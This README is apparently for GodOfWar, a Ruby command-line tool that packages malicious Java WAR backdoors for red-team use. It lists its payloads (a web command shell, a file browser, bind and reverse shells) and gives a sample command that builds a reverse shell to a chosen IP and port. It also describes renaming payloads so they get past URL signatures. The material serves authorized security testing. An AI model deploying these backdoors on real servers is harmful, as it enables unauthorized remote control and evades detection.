GodOfWar - Malicious Java WAR builder
A command-line tool to generate war payloads for penetration testing / red teaming purposes, written in ruby.
.
hhh
hhhhhhh
hhhhhhhh
hhhhhhhh+
hhhhhhhh'
hhhhhhhh.
hhhhhhhhh
..-- hhhhhhhhh
-sh/.. +. hhhhhhhhh:
/+/:-/+ss-` hhhhhhhhhh:
/MMM`ss:``.` hhhhhhhhhh:
.MMMMM: hhhhhhhhhhhhhhhhh:
MMMMMMM: hhhhhhhhhhhhhhhh:
MMMMMMMMMMMMM: hhhhhhhhhhhhhhhh`
:NNm:odh/oMMMNs. hhhhhhhhhhhhhhhh`
./:`smdo+oos++- `++sNMMMMMNmh+
.-y-` ` :. / -dmddhhhhh-
o/- `//o/ /M/ `+hhhhhhhh`
/o :yosmy +y .`.hhhhhhhho
+` /../.: `.y::hhhhhs:`
` `+yys` .sy` /oohhy:
`/:s/-`` `.hh`
..` ` y+
.hNNmmNdymmmmds` :-
hs. ``.. :y- `
-hhmNmddm+ .
`NMMMMMMm
` `oMMy
`. /Md- :o
MMMMMMMMMMMMMMMMMMM:
MMMMMMMMMMMMMMMMMM:
MMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMM.
`MMMMMMMMMMMMM.
:sNMMMNMdo:
``+m:/-
`
GodOfWar - Malicious Java WAR builder.
Features
- Preexisting payloads. (try
-l/--list)- cmd_get
- filebrowser
- bind_shell
- reverse_shell
- reverse_shell_ui
- Configurable backdoor. (try
--host/--port) - Control over payload name.
- To avoid malicious name after deployment to bypass URL name signatures.
Installation
$ gem install godofwar
Usage
$ godofwar -h
Help menu:
-p, --payload PAYLOAD Generates war from one of the available payloads.
(check -l/--list)
-H, --host IP_ADDR Local or Remote IP address for the chosen payload
(used with -p/--payload)
-P, --port PORT Local or Remote Port for the chosen payload
(used with -p/--payload)
-o, --output [FILE] Output file and the deployment name.
(default is the payload original name. check '-l/--list')
-l, --list list all available payloads.
-h, --help Show this help message.
Example
List all payloads
$ godofwar -l
โโโ cmd_get
โ โโโ Information:
โ โโโ Description: Command execution via web interface
โ โโโ OS: any
โ โโโ Settings: {"false"=>"No Settings required!"}
โ โโโ Usage: http://host/cmd.jsp?cmd=whoami
โ โโโ References: ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
โ โโโ Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get
โโโ filebrowser
โ โโโ Information:
โ โโโ Description: Remote file browser, upload, download, unzip files and native command execution
โ โโโ OS: any
โ โโโ Settings: {"false"=>"No Settings required!"}
โ โโโ Usage: http://host/filebrowser.jsp
โ โโโ References: ["http://www.vonloesch.de/filebrowser.html"]
โ โโโ Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser
โโโ bind_shell
โ โโโ Information:
โ โโโ Description: TCP bind shell
โ โโโ OS: any
โ โโโ Settings: {"port"=>4444, "false"=>"No Settings required!"}
โ โโโ Usage: http://host/reverse-shell.jsp
โ โโโ References: ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
โ โโโ Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell
โโโ reverse_shell_ui
โ โโโ Information:
โ โโโ Description: TCP reverse shell with a HTML form to set LHOST and LPORT from browser.
โ โโโ OS: any
โ โโโ Settings: {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
โ โโโ Usage: http://host/reverse_shell_ui.jsp
โ โโโ References: []
โ โโโ Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui
โโโ reverse_shell
โ โโโ Information:
โ โโโ Description: TCP reverse shell. LHOST and LPORT are hardcoded
โ โโโ OS: any
โ โโโ Settings: {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
โ โโโ Usage: http://host/reverse_shell.jsp
โ โโโ References: []
โ โโโ Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell
Generate payload with LHOST and LPORT
godofwar -p reverse_shell -H 192.168.100.10 -P 9911 -o puppy
After deployment, you can visit your shell on (http://host:8080/puppy/puppy.jsp)
Contributing
- Fork it ( https://github.com/KINGSABRI/godofwar/fork ).
- Create your feature branch (git checkout -b my-new-feature).
- Commit your changes (git commit -am 'Add some feature').
- Push to the branch (git push origin my-new-feature).
- Create a new Pull Request.
Add More Backdoors
To contribute by adding more backdoors:
- create a new folder under
payloadsdirectory. - put your
jspfile under the newly created directory (make it the same directory name). - update
payloads_info.jsonfile with- description.
- supported operating system (try to make it universal though).
- configurations: default host and port.
- references: the payload origin or its creator credits.
License
The gem is available as open source under the terms of the MIT License.